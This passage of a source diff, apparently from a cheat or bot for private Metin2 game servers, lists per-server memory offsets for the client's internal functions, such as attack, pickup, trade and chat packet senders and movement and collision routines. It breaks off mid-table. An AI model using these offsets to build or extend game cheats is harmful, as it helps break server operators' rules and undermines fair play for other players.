pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x24392d0; // [100 ] [3 / 3] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x242f570; // [100 ] [12 / 12] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x237db10; // [100 ] [10 / 10] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x2399120; // [100 ] [5 / 5] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x2384070; // [83 ] [10 / 12] + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x2384330; // [100 ] [5 / 5] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x2383850; // [100 ] [3 / 3] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x2383a80; // [71 ] [5 / 7] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x2383ae0; // [100 ] [4 / 4] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x2383ce0; // [83 ] [5 / 6] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x238d1d0; // [100 ] [3 / 3] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x23851f0; // [100 ] [4 / 4] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x2385220; // [100 ] [3 / 3] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x238cab0; // [100 ] [3 / 3] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x2383150; // [88 ] [15 / 17] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x238e270; // [100 ] [3 / 3] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x238cf20; // [80 ] [4 / 5] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x238d540; // [100 ] [3 / 3] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x238d2c0; // [100 ] [3 / 3] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x24a2720; // [100 ] [5 / 5] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x24925c0; // [90 ] [9 / 10] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x24b1060; // [100 ] [2 / 2] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x2549eb0; // [100 ] [1 / 1] + // pCPythonApplicationOnUIRender = Globals::hEntryBaseAddress + 0x240c5e0; // [100 ] [2 / 2] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x249d010; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x2344330; // [100 ] [6 / 6] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x2345020; // [100 ] [5 / 5] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x23275f0; // [100 ] [4 / 4] + break; + } + case ServerName::EGORIA: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x2e4a80; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0xb5e90; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x72fe0; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x72fc0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x76970; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x76990; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x62f50; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x8f2d0; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x74680; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x74310; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x8f1f0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x8ede0; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x8f190; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x89080; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x2e95c0; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x2e7030; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0xb5da0; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x27c670; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x102110; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x1018b0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x27c790; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x27c800; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x27ca10; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x27ca50; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x27cad0; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x303210; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0xac530; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0xabb90; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0xbe0c0; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0xc9390; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0xd57b0; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x1019a0; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x102050; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x110990; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x1105a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x10cbc0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x10cd90; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x102200; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x10fbd0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x10fb50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x10f9e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x112ad0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x112b30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x123210; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x123390; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x1234e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x122ff0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x10ea80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x10fe30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x110940; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x122e40; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x122df0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x122f40; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x110620; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x10cd20; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x10e510; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x103650; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x126930; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x1402a0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x1311B0; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x1314f0; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x1307d0; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x130cf0; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x130830; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x130cc0; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x136e20; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x132070; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x132050; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x137600; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x1304d0; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x137df0; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x136e60; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x1370f0; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x137190; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x2a37d0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x283e50; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x289d00; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x338b50; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x291c70; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x8ed20; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x8f220; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x732f0; // [100 ] [1 / 1] + pCResourceReload = Globals::hEntryBaseAddress + 0x289A40; + pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x131430; + pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x131560; + pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x123100; + break; + } + case ServerName::AELDRA: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x3EFE70; + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x2B1EB0; + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x28E920; + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x28E930; + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x28FAA0; + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x28FC20; + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x28FBC0; + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x29C6E0; + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x290050; + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x290260; + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x29C6F0; + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x29C080; + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x29C7A0; + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x29AEC0; + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x3E1320; + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x2B1FC0; + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x2F2940; + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x2F21B0; + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x379D60; + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x4107A0; + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x2A8BA0; + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x2B6A60; + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x2C9E30; + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x2D76D0; + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x2F1F90; + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x2F22B0; + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x30E800; + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x30F560; + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x2F24B0; + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x30F890; + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x30F990; + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x30FB40; + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x30FBF0; + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x30FD50; + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x316470; + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x316580; + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x316920; + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x3169D0; + pCPythonNetworkStreamSendRefinePacket = Globals::hEntryBaseAddress + 0x3115F0; + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x311A70; + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x311CF0; + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x30FA90; + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x3173E0; + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x317510; + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x312050; + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x3120F0; + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x2F2C30; + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x31A5B0; + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x32B750; + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x31E440; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x31E4C0; + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x31E680; + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x31E6B0; + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x323390; + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x31EDA0; + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x31EDD0; + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x322860; + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x323CB0; + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x322F00; + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x3A19D0; + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x37FD60; + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x38B1F0; + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x441580; + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x398D90; + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x29BDC0; + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x29C840; + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x292F10; + pCItemDataGetName = Globals::hEntryBaseAddress + 0x3D6AB0; + pCResourceReload = Globals::hEntryBaseAddress + 0x38AE20; + pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x316BC0; + pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x31E2A0; + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x31E5C0; + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x31F240; + pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x31E1D0; + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x3244E0; + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x323430; + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x2A7E60; + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x311080; + break; + } + case ServerName::CarolineMT2: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x249700; // [100 ] [1 / 1] + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x786b0; // [100 ] [1 / 1] + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x5eeb0; // [100 ] [1 / 1] + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x5ee90; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x61f20; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x61f40; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x618f0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x6ac90; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x60180; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x5fe40; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x6abb0; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x6a830; // [100 ] [1 / 1] + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x6ab50; // [100 ] [1 / 1] + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x67da0; // [100 ] [1 / 1] + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x1b03d0; // [100 ] [1 / 1] + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x1ae490; // [100 ] [1 / 1] + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x785c0; // [100 ] [1 / 1] + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x15e240; // [100 ] [1 / 1] + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0xa04f0; // [100 ] [1 / 1] + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x9fcc0; // [100 ] [1 / 1] + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x15e430; // [100 ] [1 / 1] + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x15e470; // [100 ] [1 / 1] + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x15e490; // [100 ] [1 / 1] + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x15e6c0; // [100 ] [1 / 1] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x15e710; // [100 ] [1 / 1] + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x1c22e0; // [100 ] [1 / 1] + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x71080; // [100 ] [1 / 1] + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x706c0; // [100 ] [1 / 1] + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x7bc00; // [100 ] [1 / 1] + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x828b0; // [100 ] [1 / 1] + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x87ea0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x9fda0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0xa0440; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0xaaa30; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0xaa630; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0xa7d80; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0xa7f70; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0xa05e0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0xa9cd0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0xa9c50; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0xa9ae0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0xaca40; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0xacaa0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0xb25d0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0xb2790; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0xb28c0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0xb2410; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0xa8d10; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0xa9f10; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0xaa9e0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0xb2240; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0xb21e0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0xb2360; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0xaa6a0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0xa7f00; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0xa8790; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0xa0fd0; // [100 ] [1 / 1] + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xb5890; // [100 ] [1 / 1] + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0xd0eb0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0xb7640; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0xb74c0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xb6850; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0xb6d10; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x8d2f0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xb6ce0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0xbac60; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xb80e0; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xb80c0; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0xbb480; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xb6540; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0xbbcc0; // [100 ] [1 / 1] + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0xbaca0; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0xbb170; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0xbafe0; // [100 ] [1 / 1] + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x7b3d0; // [100 ] [1 / 1] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x1648e0; // [100 ] [1 / 1] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x17f1d0; // [100 ] [2 / 2] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x1ecbb0; // [100 ] [1 / 1] + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x16a5a0; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x6a770; // [100 ] [1 / 1] + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x6abe0; // [100 ] [1 / 1] + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x5f190; // [100 ] [1 / 1] + Globals::pCResourceReload = Globals::hEntryBaseAddress + 0x1657a0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0xb73f0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0xb7530; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0xb24f0; // [100 ] [1 / 1] + break; + } + case ServerName::BARIA: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x23ab160; // [100 ] [1 / 1] + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x1ea7a40; // [100 ] [1 / 1] + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x20424b0; // [100 ] [1 / 1] + 